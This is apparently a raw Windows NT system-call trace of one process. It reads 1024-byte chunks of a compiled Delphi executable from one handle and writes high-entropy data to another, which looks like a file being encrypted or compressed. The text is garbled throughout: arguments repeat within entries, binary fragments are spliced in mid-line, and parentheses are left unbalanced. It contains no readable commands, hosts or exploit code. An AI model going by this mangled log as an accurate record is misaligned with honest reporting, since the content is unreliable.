"/\217\33\327$\261v\236\370\227\0B\373m\23R*~\16\324\214\377\226\49\275\<\211\274MYJ\29\212\245\251\177\272UhZ\255\344?\257\362W\220\33U\12\234\243\351\230\231\37N!\237\214\215B\276\332\26\377e\33\210\15\2036\10\333z\224\256\221vk\222\324\3663\21\13f\26\355V\206n[IU\222=\370\4){`"\12\344\256IXE\264A\330m\207\310\7z\214\177H\306\362\224\312c\230l\212r\351\346k\11\366_|\15\370Qf\351\204\200\277~\322\254+\271\333\373^.\377\271\15\324\220\264\337\375\213>0XR\20\267x\314R\374\26\251\14\333\11\303\256S\0+\216z\305Z\2640\345|K\23B&\344Y\357\201\216d\32\272\216\264\340\307\350\17\304i\340\334\5n\301\231`\24\367\200[XYO72\264\375\337\3\221\321D \212\327>\350\1\230\215\327\251\375\242'\366\1\321\233~\212\347\274"e\351z\244\14\234\352R\253& 9L\3_\221\2331\25Hz\235\352yPr\35\213\252\343\323\250\300\347(\377\316\354jv\0\372\350\266\11\303\244t7\34\232\177]KAL\33\366\206{\223\331\3554\352)\344C@\303\335i\375C~\114Z\200*:\230\314\370W\236\367\336\204\237.i\357ubN\236\266\371Lpd\3430\353\337k\242\360B\355\332\213\11\307)\221<\266\275\364f\367\224\215W\221~\230X\3401\37N\273\330)\10o\255bt:e#H\277\322\10s\336(O\376\205{\2226-\233>O\202\340\342N~\1/\276\37\233\225\252\211\257\207\371f\356\3332\337\204Q\12\266-\321\317Q\374\300\235\3133\78\277\17\246\3357\233]\15\2309?S\302\3158!`b\334\320\377\377\263\311\255n\14\344\307\301\232AY\241\363F\313\272\246w5!", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01024  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\16\0\0\0j\0j\0Iu\371SV\213\332\213\3603\300UhA#\1@d\3770d\211 \17\267\3\17\267\320\203\372\24\17\207)\2\0\0\377$\2255\36\1@\211\36\1@\225\36\1@\275\36\1@\330\36\1@\362\36\1@\23\37\1@4\37\1@Q\37\1@n\37\1@> \1@W \1@\206\37\1@- \1@> \1@W \1@W \1@\241\37\1@\274\37\1@\327\37\1@\362\37\1@\20 \1@\213\306\350x1\377\377\3516\4\0\0\200=\20\252\1@\0t\15f\272\10\0f\270\1\0\350I\275\377\377\213\306\213\25\24\252\1@\350\2402\377\377\351\16\4\0\0\215U\374\17\277C\10\350\317]\377\377\213U\374\213\306\350\2052\377\377\351\363\3\0\0\215U\370\213C\10\350\265]\377\377\213U\370\213\306\350k2\377\377\351\331\3\0\0\331C\10\203\304\364\333<$\233\215E\364\350\20o\377\377\213U\364\213\306\350J2\377\377\351\270\3\0\0\335C\10\203\304\364\333<$\233\215E\360\350\357n\377\377\213U\360\213\306\350)2\377\377\351\227\3\0\0\377s\14\377s\10\215E\354\350\252\364\377\377\213U\354\213\306\350\3700\377\377\351z\3\0\0\377s\14\377s\10\215E\350\350\305\364\377\377\213U\350\213\306\350\3330\377\377\351]\3\0\0V\213C\10\271\377\377\377\177\272\1\0\0\0\350\3631\377\377\351E\3\0\0\215U\344\17\267C\10\350\312\364\377\377\213U\344\213\306\350\2500\377\377\351*\3\0\0\215U\340\17\276C\10\350\353\\377\377\213U\340\213\306\350\2411\377\377\351\17\3\0\0\215U\334\17\266C\10\350\320\\377\377\213U\334\213\306\350\2061\377\377\351\364\2\0\0\215U\330\17\267C\10\350\265\\377\377\213U\330\213\306\350k1\377\377\351\331\2\0\0\213C", ) , ) == 0x0
 01025  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\3\367\276\307\222\31\344C\2647\370U5\300d~\272T\214rl\33\23[\2703\376\1\274\361\242\316\3476\227\236\267\303\245\224\351\246\364Fh-\1\353b\341\17\242\253e\203IS=&!\221\6\212\20\252\22\273\217\322V \367\247.\3\267\236\376\245\346%\3140\33+\304-\36Na3\300\253\203T_\314\230\12\340^\335eF\206\236\3756\345\207u\354\266\314bU\277\200\242\213\236\347\27\24\30\3663P\313\360\220\127\346\2\1\306\202\15\372\364|\345\\374\260\4\256^h\310@\203\2426\264\275\352)\210Bo\223Q\2639\332\336\235B\210q\231V5\257\314u-\305\30I\370=\260"Zl\15\2400\13ub\313e\244\202t\2"-\273j\233\307\213\17\243\266\331\333!\203p\373\325\251\322\326\14!J\255\277\2526\212\3272\275Vs\24\16\251J)\10K\262\32\340jU\234\3\277\270'\3725b\334\303@\260\304p\315j\234\323\315`\314HB\262\305\313s;5\300\13SxQ\354\21g\377\240\334b\275\25\330O\274\327\351\302\326\375\375w\12'\340\363\245:\220vB9\243l\221\34=\205{\370L\201\12^\310T/L\35\231\376\221g\365\271\315\312\342A\256\364c\240i\2d>9\325\231u\223\342\254\216Wd\314-\351{6\217\12\216/\241a~\0K\231\374qb\253t\177\13lt:\377 fYv(\2\157k\36\352\31\324c\15T\340n\326\233\16\371\346\265) \36d\15\336\215\201T\273\177\340_\376\234", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) Zl\15\2400\13ub\313e\244\202t\2 (92, 0, 0, 0, "\3\367\276\307\222\31\344C\2647\370U5\300d~\272T\214rl\33\23[\2703\376\1\274\361\242\316\3476\227\236\267\303\245\224\351\246\364Fh-\1\353b\341\17\242\253e\203IS=&!\221\6\212\20\252\22\273\217\322V \367\247.\3\267\236\376\245\346%\3140\33+\304-\36Na3\300\253\203T_\314\230\12\340^\335eF\206\236\3756\345\207u\354\266\314bU\277\200\242\213\236\347\27\24\30\3663P\313\360\220\127\346\2\1\306\202\15\372\364|\345\\374\260\4\256^h\310@\203\2426\264\275\352)\210Bo\223Q\2639\332\336\235B\210q\231V5\257\314u-\305\30I\370=\260"Zl\15\2400\13ub\313e\244\202t\2"-\273j\233\307\213\17\243\266\331\333!\203p\373\325\251\322\326\14!J\255\277\2526\212\3272\275Vs\24\16\251J)\10K\262\32\340jU\234\3\277\270'\3725b\334\303@\260\304p\315j\234\323\315`\314HB\262\305\313s;5\300\13SxQ\354\21g\377\240\334b\275\25\330O\274\327\351\302\326\375\375w\12'\340\363\245:\220vB9\243l\221\34=\205{\370L\201\12^\310T/L\35\231\376\221g\365\271\315\312\342A\256\364c\240i\2d>9\325\231u\223\342\254\216Wd\314-\351{6\217\12\216/\241a~\0K\231\374qb\253t\177\13lt:\377 fYv(\2\157k\36\352\31\324c\15T\340n\326\233\16\371\346\265) \36d\15\336\215\201T\273\177\340_\376\234", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01026  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\213\306\350Q/\377\377\351\277\0\0\0\215U\244\213C\10\17\266\0\350~Z\377\377\213U\244\213\306\3504/\377\377\351\242\0\0\0\215U\240\213C\10\17\267\0\350aZ\377\377\213U\240\213\306\350\27/\377\377\351\205\0\0\0\213C\10\213\03\322RP\215E\234\350-[\377\377\213U\234\213\306\350\367.\377\377\353h\213C\10\377p\4\3770\215E\230\350\21[\377\377\213U\230\213\306\350\333.\377\377\353L\213C\10\213\320\213\306\350q\373\377\377\353>\215U\224\213\303\350\201\371\377\377\213U\224\213\306\350\243-\377\377\353(\213\306\350^-\377\377\213\320\213\303\350\201\372\377\377\204\300u\24\215U\220\213\303\350W\371\377\377\213U\220\213\306\350y-\377\3773\300ZYYd\211\20hH#\1@\215E\220\272\2\0\0\0\350;-\377\377\215E\230\272\5\0\0\0\350\266%\377\377\215E\254\272\3\0\0\0\350!-\377\377\215E\270\272\4\0\0\0\350\234%\377\377\215E\310\272\2\0\0\0\350\7-\377\377\215E\320\272\5\0\0\0\350\202%\377\377\215E\344\272\3\0\0\0\350\355,\377\377\215E\360\272\4\0\0\0\350h%\377\377\303\351\276\36\377\377\353\220^[\213\345]\303\213\300U\213\354\203\304\360SV\213\362\213\330\215E\360P\350s\252\377\3773\300Uh\272#\1@d\3770d\211 \213\326\215E\360\350\203\303\377\377\215E\360\377\25\234\362\1@f\203}\360\15t\15f\272\15\0f\270\1\1\350Z\270\377\377\213\303\213U\370\350x>\377\3773\300ZYYd\211\20h\301#\1@\215E\360\350\37\300\377\377\303\351E\36\377\377\353\360^[\213\345]\303\220SVQ\213\332\213\360\17\267\3\203\370\15\177\20tK\203\350\1r\36t%\203\350\10t?\353b-\1\1\0\0tP-\10?\0\0t", ) , ) == 0x0
 01027  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\230\246\227\306\365\346\213\15\36q\325W\347:6\260\2\12\24\305\231\260\227\366qy II}\351<+~=\200-7\362\13\232\10\22\273l\340\374f\21\234q\1\201\15\33\1\272v\334U\350\206\304\376l\333\327u\12\347\300\1w\222\337(\202\32]\356\37%\342\233\221<\275\212+P($\315\201\375\350dL\344\260\346\237\325:cclx\265\5s\354e?$%ax\266G\272\375\246\3\314\347\213y\270\32x\237\320\265P\352\22B\355 \370\335/X\37:\32\226\226j\177\333\217\5\222\3600(r\256\352\352\321\3232b\2452\200oz\13\234RS\25\363\276eV\6WzIl`zB\301\213\351.f\333\365\354\304\211\345(\276jq\36-Qp\2131\270\213"\26:\244\26\14\252\352S\311\313-F\0\351\14)\2511' \12\350KY\236\335\214\230\372\340b<\1mR\20\271\225\334EL\373\206k\265GBp~\30\2459\207\267%\331z\312\362\371\3751\250~T\237\232\335\24\311\316*\14\313\225\221\12\247\201\245#\244\330x\212n+\306g\210\322\260\202\21\267!X\251\362>\220\177\236L\225\4K\217\322\3\243D\276\337\334\244G\226\317#\326\213\206\31b\327R\204\237~\256\357y\205\275O\227r\2655\254|e\310/\373\263\350\251|\216|rih\374\272\275\300\31J\326\25\317\347\21A\314h\335\200\267\21\325G\303\10\30~\362\303\304\307QqsU`\232\215\10\212\6\15\355y\253RW-[\344lZ\266\4\320d`\1"\5*\11", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \26:\244\26\14\252\352S\311\313-F\0\351\14)\2511' \12\350KY\236\335\214\230\372\340b<\1mR\20\271\225\334EL\373\206k\265GBp~\30\2459\207\267%\331z\312\362\371\3751\250~T\237\232\335\24\311\316*\14\313\225\221\12\247\201\245#\244\330x\212n+\306g\210\322\260\202\21\267!X\251\362>\220\177\236L\225\4K\217\322\3\243D\276\337\334\244G\226\317#\326\213\206\31b\327R\204\237~\256\357y\205\275O\227r\2655\254|e\310/\373\263\350\251|\216|rih\374\272\275\300\31J\326\25\317\347\21A\314h\335\200\267\21\325G\303\10\30~\362\303\304\307QqsU`\232\215\10\212\6\15\355y\253RW-[\344lZ\266\4\320d`\1242\261\252\344\255\305\306\343\234\25\235\205\322\266\340\345\337\300\366NB\343{\2650\272\375&v,~6c\371+\370\345\36\255\300\149]\223f\372\200R\360-\263\2062\254\351\4\307\317 \344Tr5\201\24\236s \263?i (92, 0, 0, 0, "\230\246\227\306\365\346\213\15\36q\325W\347:6\260\2\12\24\305\231\260\227\366qy II}\351<+~=\200-7\362\13\232\10\22\273l\340\374f\21\234q\1\201\15\33\1\272v\334U\350\206\304\376l\333\327u\12\347\300\1w\222\337(\202\32]\356\37%\342\233\221<\275\212+P($\315\201\375\350dL\344\260\346\237\325:cclx\265\5s\354e?$%ax\266G\272\375\246\3\314\347\213y\270\32x\237\320\265P\352\22B\355 \370\335/X\37:\32\226\226j\177\333\217\5\222\3600(r\256\352\352\321\3232b\2452\200oz\13\234RS\25\363\276eV\6WzIl`zB\301\213\351.f\333\365\354\304\211\345(\276jq\36-Qp\2131\270\213"\26:\244\26\14\252\352S\311\313-F\0\351\14)\2511' \12\350KY\236\335\214\230\372\340b<\1mR\20\271\225\334EL\373\206k\265GBp~\30\2459\207\267%\331z\312\362\371\3751\250~T\237\232\335\24\311\316*\14\313\225\221\12\247\201\245#\244\330x\212n+\306g\210\322\260\202\21\267!X\251\362>\220\177\236L\225\4K\217\322\3\243D\276\337\334\244G\226\317#\326\213\206\31b\327R\204\237~\256\357y\205\275O\227r\2655\254|e\310/\373\263\350\251|\216|rih\374\272\275\300\31J\326\25\317\347\21A\314h\335\200\267\21\325G\303\10\30~\362\303\304\307QqsU`\232\215\10\212\6\15\355y\253RW-[\344lZ\266\4\320d`\1"\5*\11", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01028  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "U\213\354S\213\330f\367\3\350\277t\7\213\303\350H\275\377\377f\307\3\24\0\213E\10\211C\10\213E\14\211C\14[]\302\10\0\213\300U\213\354S\213\330f\367\3\350\277t\7\213\303\350\34\275\377\377\213E\10\211C\10f\307\3\4\0[]\302\4\0U\213\354S\213\330f\367\3\350\277t\7\213\303\350\370\274\377\377\213E\10\211C\10\213E\14\211C\14f\307\3\5\0[]\302\10\0\213\300U\213\354S\213\330f\367\3\350\277t\7\213\303\350\314\274\377\377\213E\10\211C\10\213E\14\211C\14f\307\3\6\0[]\302\10\0\213\300U\213\354S\213\330f\367\3\350\277t\7\213\303\350\240\274\377\377\213E\10\211C\10\213E\14\211C\14f\307\3\7\0[]\302\10\0\213\300SV\213\332\213\360f\367\6\350\277t\7\213\306\350t\274\377\377f\307\6\13\0\200\373\1\365\33\300f\211F\10^[\303\213\300SV\213\362\213\330f\367\3\350\277t\7\213\303\350L\274\377\3773\300\211C\10f\307\3\0\1\215C\10\213\326\350\264!\377\377^[\303\220SV\213\362\213\330f\367\3\350\277t\7\213\303\350 \274\377\3773\300\211C\10f\307\3\10\0\215C\10P\271\377\377\377\177\272\1\0\0\0\213\306\350\31*\377\377^[\303\213\300SV\213\362\213\330f\367\3\350\277t\7\213\303\350\350\273\377\3773\300\211C\10f\307\3\15\0\215C\10\213\326\350\224:\377\377^[\303\220SV\213\362\213\330f\367\3\350\277t\7\213\303\350\274\273\377\3773\300\211C\10f\307\3\11\0\215C\10\213\326\350h:\377\377^[\303\220f\2038\10r\32\377p\14\377p\10\377p\4\3770f\307\0\0\0\211\342\350+\277\377\377\203\304\20\303\215@\0\377\377\377\377\5\0\0\0Empty\0\0\0\377\377\377\377\4\0\0\0", ) , ) == 0x0
 01029  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "-(a\2xa\26\24t0\330\337\206J\256\335\200\372\320\5\2775\231\213\234ha\340\232I\212\346v\15\203\225l\241\304\316\235\311"Zs-\3\333\6\261\340\205dfA\10}\310\253a\253\355\7~H//X\321\207Q\301=\250\254T!OL\30W\271\11\254\1x\246\27\324\326j\224\275\17\330\252{\231\257W\355\342k\262[@i\333q\301\10>\14\334\17\260\247\207\242|lz\362\347Fz^\244\3001-z\362\2371\371\201b\16#]?\302\271\305\244\6\344\342E"\247\233\305M{\210\244\361\301\5\273\204\324x'(!`@\337\347N\223\246'lc\316\33\21\303\352\374\343\255W\206xZ\357\24\345\320%\312\263\251\232\1|\362\10\366\357\200gT\222\226\22<\24Z\6!\272\356\240{\274\207\334\3253\34\3422\225\254Do\3\323\353\360\242\244\310\217\315^\272a\201\3548X\316\300\273\374\16\217\343u\225\34[\374\366\204!\264\177MznQTW\320l_\226\2\337\3379\255\312k\311r\31\25\30c\22\220\350-o\374;\367X\206\322\372VEd\232\307y\27\332a\3500f\27wX\2\15\330[Y\350V\77\325\307\2d\336C^\310\276\223\210k\30\3463\353\306F\3153\274\21UY\17xs\340\303\300\13\31\341\255\3135\342\201\343\31%\260\237\204\350\306c\273\203q\344\203\5P\16\3077\312\243D\351\247\366w\210\306S\363\200\341\355)\233E\226X][\276\246mX%\254\231\3B\34HR\360\210\300/1\10-.\234\260\37-\237\213\360\313\353)\325\366\366\34\31R\362\363o.A\3139\210\177.\330d\31\13Fd\17`\336)@\200\2746sj\25ekW\365\332\261j@\207\325\245\31\325{\267\213S\276n\310G-\270T\207u8\214\217\201\227\34\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) Zs-\3\333\6\261\340\205dfA\10}\310\253a\253\355\7~H//X\321\207Q\301=\250\254T!OL\30W\271\11\254\1x\246\27\324\326j\224\275\17\330\252{\231\257W\355\342k\262[@i\333q\301\10>\14\334\17\260\247\207\242|lz\362\347Fz^\244\3001-z\362\2371\371\201b\16#]?\302\271\305\244\6\344\342E (92, 0, 0, 0, "-(a\2xa\26\24t0\330\337\206J\256\335\200\372\320\5\2775\231\213\234ha\340\232I\212\346v\15\203\225l\241\304\316\235\311"Zs-\3\333\6\261\340\205dfA\10}\310\253a\253\355\7~H//X\321\207Q\301=\250\254T!OL\30W\271\11\254\1x\246\27\324\326j\224\275\17\330\252{\231\257W\355\342k\262[@i\333q\301\10>\14\334\17\260\247\207\242|lz\362\347Fz^\244\3001-z\362\2371\371\201b\16#]?\302\271\305\244\6\344\342E"\247\233\305M{\210\244\361\301\5\273\204\324x'(!`@\337\347N\223\246'lc\316\33\21\303\352\374\343\255W\206xZ\357\24\345\320%\312\263\251\232\1|\362\10\366\357\200gT\222\226\22<\24Z\6!\272\356\240{\274\207\334\3253\34\3422\225\254Do\3\323\353\360\242\244\310\217\315^\272a\201\3548X\316\300\273\374\16\217\343u\225\34[\374\366\204!\264\177MznQTW\320l_\226\2\337\3379\255\312k\311r\31\25\30c\22\220\350-o\374;\367X\206\322\372VEd\232\307y\27\332a\3500f\27wX\2\15\330[Y\350V\77\325\307\2d\336C^\310\276\223\210k\30\3463\353\306F\3153\274\21UY\17xs\340\303\300\13\31\341\255\3135\342\201\343\31%\260\237\204\350\306c\273\203q\344\203\5P\16\3077\312\243D\351\247\366w\210\306S\363\200\341\355)\233E\226X][\276\246mX%\254\231\3B\34HR\360\210\300/1\10-.\234\260\37-\237\213\360\313\353)\325\366\366\34\31R\362\363o.A\3139\210\177.\330d\31\13Fd\17`\336)@\200\2746sj\25ekW\365\332\261j@\207\325\245\31\325{\267\213S\276n\310G-\270T\207u8\214\217\201\227\34\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01030  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\17\267\307\272\4\0\0\0\350\236S\377\377\213\215\370\375\377\377\213\25\234\260\1@\213\22\213\306\350q!\377\377\366\307 t\16\213\16\213\306\272\224*\1@\350^!\377\377\366\307@t\16\213\16\213\306\272\244*\1@\350K!\377\3773\300ZYYd\211\20hi*\1@\215\205\370\375\377\377\350#\36\377\377\303\351\235\27\377\377\353\355_^[\213\345]\303\377\377\377\377\6\0\0\0String\0\0\377\377\377\377\3\0\0\0Any\0\377\377\377\377\6\0\0\0Array \0\0\377\377\377\377\6\0\0\0ByRef \0\0SV\213\362\213\330\213\303\350\37\271\377\377f\307\3\12\0\211s\10^[\303\272\4\0\2\200\350\336\377\377\377\303\220\324*\1@\21\3.02\4\0\0\0\0\0\0\0\377\377\377\377\264\326\0@\10Variants\213\300U\213\354SV\276\250\362\1@h\254\362\1@\350\30:\377\3773\322UhU+\1@d\3772d\211"\213\6\350O.\377\377\213\330K\203\373\0|\30\213\6\213\4\230;\5\34\252\1@t\5\350\261\21\377\377K\203\373\377u\3503\300ZYYd\211\20h\+\1@h\254\362\1@\350\224:\377\377\303\351\252\26\377\377\353\356^[]\303U\213\354\350\270\1\0\0]\302\4\0SVWQ\213\361\213\372\213\330\213\324\17\267\6\350\30\2\0\0\204\300t\24\17\267C\4P\213\316\213\327\213D$\4\213\30\377S\34\353\7\213\303\350y\1\0\0Z_^[\303U\213\354\203\304\370SVW\213\361\211U\374\213\330\213}\10f;{\4t\37\215U\370\17\267\6\350\320\1\0\0\204\300t\20W\213\316\213U\374\213E\370\213\30\377S\34\353\7\213\303\3505\1\0\0_^[YY]\302\4\0U\213\354\350,\1\0\0", ) \213\6\350O.\377\377\213\330K\203\373\0|\30\213\6\213\4\230;\5\34\252\1@t\5\350\261\21\377\377K\203\373\377u\3503\300ZYYd\211\20h\+\1@h\254\362\1@\350\224:\377\377\303\351\252\26\377\377\353\356^[]\303U\213\354\350\270\1\0\0]\302\4\0SVWQ\213\361\213\372\213\330\213\324\17\267\6\350\30\2\0\0\204\300t\24\17\267C\4P\213\316\213\327\213D$\4\213\30\377S\34\353\7\213\303\350y\1\0\0Z_^[\303U\213\354\203\304\370SVW\213\361\211U\374\213\330\213}\10f;{\4t\37\215U\370\17\267\6\350\320\1\0\0\204\300t\20W\213\316\213U\374\213E\370\213\30\377S\34\353\7\213\303\3505\1\0\0_^[YY]\302\4\0U\213\354\350,\1\0\0", ) == 0x0
 01031  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\1r\37\200\262\204\221\125\240\275\306\37\276\251 \215V\3\356\321\310\4n\270_\237\322\245\307Ml\342\376e\32s\377\374\347SQ\7\266\247\240\354vt \27\214\264\217m\2737\360\20,Br^\12\203\362O[\2\273\357\313\232\4l\315\260\250 \302\311\273\337/\235\252\363f_l\24\361\250\343)8,-\256\3066@\14?;\313\356K}\220\3\260\201t\6\346a\207L\230g\245H\6\26\244\323\370\245\367Y'\332\335\266\223du\342b\24\362\35\210gA\204\370\222\272\234\341\2556\222A\203\7\245\331\207\2761\357\34rnpGN\250\237%`\314-\326O\226M\224\301g=\262\344Z\237}N\236q;\331\342\0\35\274'\344\234\370\303\234\30\233\357)\5\252\270\274\323r\302e\350\232\17\260\3268\4ZSB\322k-\252\274\200]\343\313k\374\262\303\225\313M<\253\242\235\351\25[\205\350\372\367\321\10\202\340\230\370uZb\33\364\261V\35\23I1/^UO\31\242\210\201\2324h\34\202$V\354z\377\30\h\324\255\3549\276\266\231&\374\37\371\267\1z\23\236\10\367\345@Z\256"H\15\35\351\366\33\226\262\311D\236l<\303\316\244E\2703\221\377\347\226*l\372\371\24\311Pwz\3734n\206\2650\244\204\333\256\227,\303\335B\11^\323&\346\272Q\346\326Q\310r|\212WC\265{\345\306\317\215f-\333\270\237!\3045\224\6\336\27\252\250\327\16T\304\210a\344\242\217\204\320\2057=0\223\304\272[\275\214\6\276\274\245\315\335\364\216\276\357\250\317qZ\275\270\373?\275\21\3104\31MC\222\247y\4*\344Q\2;\316\204E\231\2218\255Z\17\262\2621\364\234\367\324\23\22\367k\241\277\331\347-\336\370\234\25F\224B\266\234\265U\3408{\325\344\365\215*O\214", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) H\15\35\351\366\33\226\262\311D\236l<\303\316\244E\2703\221\377\347\226*l\372\371\24\311Pwz\3734n\206\2650\244\204\333\256\227,\303\335B\11^\323&\346\272Q\346\326Q\310r|\212WC\265{\345\306\317\215f-\333\270\237!\3045\224\6\336\27\252\250\327\16T\304\210a\344\242\217\204\320\2057=0\223\304\272[\275\214\6\276\274\245\315\335\364\216\276\357\250\317qZ\275\270\373?\275\21\3104\31MC\222\247y\4*\344Q\2;\316\204E\231\2218\255Z\17\262\2621\364\234\367\324\23\22\367k\241\277\331\347-\336\370\234\25F\224B\266\234\265U\3408{\325\344\365\215*O\214", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01032  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "t&\241\250\362\1@\213\204\270\0\374\377\377\211\6\203>\0t\12\213\6;\5\34\252\1@u\43\300\353\2\260\1\210E\3773\300ZYYd\211\20hG.\1@h\254\362\1@\350\2517\377\377\303\351\277\23\377\377\353\356\17\266E\377_^[Y]\303\215@\0U\213\3543\300Uh\303.\1@d\3770d\211 \377\5\244\362\1@uH\350\202\374\377\377h\254\362\1@\350\2346\377\377\270\204\362\1@\350f\265\377\377\270\24\252\1@\350\364\31\377\377\270 \252\1@\271\25\0\0\0\213\25\0\20\0@\350o$\377\377\270\250\362\1@\213\25\320*\1@\350\177,\377\3773\300ZYYd\211\20h\312.\1@\303\351<\23\377\377\353\370]\303\370\347\1@\252\377\0\0\370\347\1@\253\377\0\0\370\347\1@\254\377\0\0\370\347\1@\255\377\0\0\370\347\1@\256\377\0\0\370\347\1@\257\377\0\0\370\347\1@\220\377\0\0\370\347\1@\221\377\0\0\377\377\377\377\5\0\0\0False\0\0\0\377\377\377\377\4\0\0\0True\0\0\0\0\377\377\377\377\1\0\0\0.\0\0\0U\213\3543\300Uh~/\1@d\3770d\211 \377\5\304\362\1@u\37\270\210\252\1@\271\2\0\0\0\213\25\0\20\0@\350\256#\377\377\270\220\252\1@\350\24\31\377\3773\300ZYYd\211\20h\205/\1@\303\351\201\22\377\377\353\370]\303\220\324/\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\324/\1@\14\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\12EListError\220,0\1@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01033  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "S\242\211\364&wT\32\245@\231ig\36\214b\12u\220\300\263\260O\263\222\341\266\340\264\37N"\265B\322]M\265\221\345\364\205\306\366\261\243y#l?R~\271\231\361\272\210HT\315\343d\246\26'\351\376Hc\263\275PS\355\363t\7\225\34\343>\309\216\333\6\372w~=\28\30;\345\311\262e\25\241l\341@\222\241kY\373\333\35\311\6\7\347k\27\375\244\275\335\216\316,\314\362,\207L\354a\355\370\14\263B\355\3570{\345\12\361bz\277\21\300\177\22\15X\263\364\235\31\265\30"\343\267;\307%\35?\203:sz\353H5g\336\277@\341r\305\12\5\210\373\13\214\232&\21jWf7\263\232\243\3664\204vr\17Dx\236\265\330\303\204\355\206\314l\300\277\314\326\370\350\346K\214O\\220\327\337T\215k\313\267\23w\20M\352\311'\5dC\321\267\351N\201\210|\237\12'qz\20\372{\341\267\30RM=E\305aEN\13\335z\33b\330\232\360\22\331\367\324\376\251\374\330?\373\3126E\266%\302\252\313\241\374\262\367\2041Fn\160\\266\230\31%\372\7\316;]2l\337\177X\253\357\322\15V\232\257N\224\263\277\221\217\323\313\271\255\4TM\333\2601#\21\341\332|/\12Z\243-Xm\222I\257cP\312\201!Z\230 \221\2544\205\326mN\177\357\240\231\169\257\315\366\26]\331O\16\355TiB\37\218\334\240y\305oSd\275v\35\325\304\321N=\200\355\273yc\330/\326\3223\2034\261L\274\312\7\255\7\216)W7\350\227\373\345\310.TB\204\330IF\231\264\277\250\31\210U+\237n\331w\277<\205\230\331/\32\3217\306\244V\250gt\300\231\332wQ\215\242\301\30<\255\206\361\24\363$=\336?\251aYph\256\326\37\223\332w\325", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \265B\322]M\265\221\345\364\205\306\366\261\243y#l?R~\271\231\361\272\210HT\315\343d\246\26'\351\376Hc\263\275PS\355\363t\7\225\34\343>\309\216\333\6\372w~=\28\30;\345\311\262e\25\241l\341@\222\241kY\373\333\35\311\6\7\347k\27\375\244\275\335\216\316,\314\362,\207L\354a\355\370\14\263B\355\3570{\345\12\361bz\277\21\300\177\22\15X\263\364\235\31\265\30 (92, 0, 0, 0, "S\242\211\364&wT\32\245@\231ig\36\214b\12u\220\300\263\260O\263\222\341\266\340\264\37N"\265B\322]M\265\221\345\364\205\306\366\261\243y#l?R~\271\231\361\272\210HT\315\343d\246\26'\351\376Hc\263\275PS\355\363t\7\225\34\343>\309\216\333\6\372w~=\28\30;\345\311\262e\25\241l\341@\222\241kY\373\333\35\311\6\7\347k\27\375\244\275\335\216\316,\314\362,\207L\354a\355\370\14\263B\355\3570{\345\12\361bz\277\21\300\177\22\15X\263\364\235\31\265\30"\343\267;\307%\35?\203:sz\353H5g\336\277@\341r\305\12\5\210\373\13\214\232&\21jWf7\263\232\243\3664\204vr\17Dx\236\265\330\303\204\355\206\314l\300\277\314\326\370\350\346K\214O\\220\327\337T\215k\313\267\23w\20M\352\311'\5dC\321\267\351N\201\210|\237\12'qz\20\372{\341\267\30RM=E\305aEN\13\335z\33b\330\232\360\22\331\367\324\376\251\374\330?\373\3126E\266%\302\252\313\241\374\262\367\2041Fn\160\\266\230\31%\372\7\316;]2l\337\177X\253\357\322\15V\232\257N\224\263\277\221\217\323\313\271\255\4TM\333\2601#\21\341\332|/\12Z\243-Xm\222I\257cP\312\201!Z\230 \221\2544\205\326mN\177\357\240\231\169\257\315\366\26]\331O\16\355TiB\37\218\334\240y\305oSd\275v\35\325\304\321N=\200\355\273yc\330/\326\3223\2034\261L\274\312\7\255\7\216)W7\350\227\373\345\310.TB\204\330IF\231\264\277\250\31\210U+\237n\331w\277<\205\230\331/\32\3217\306\244V\250gt\300\231\332wQ\215\242\301\30<\255\206\361\24\363$=\336?\251aYph\256\326\37\223\332w\325", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
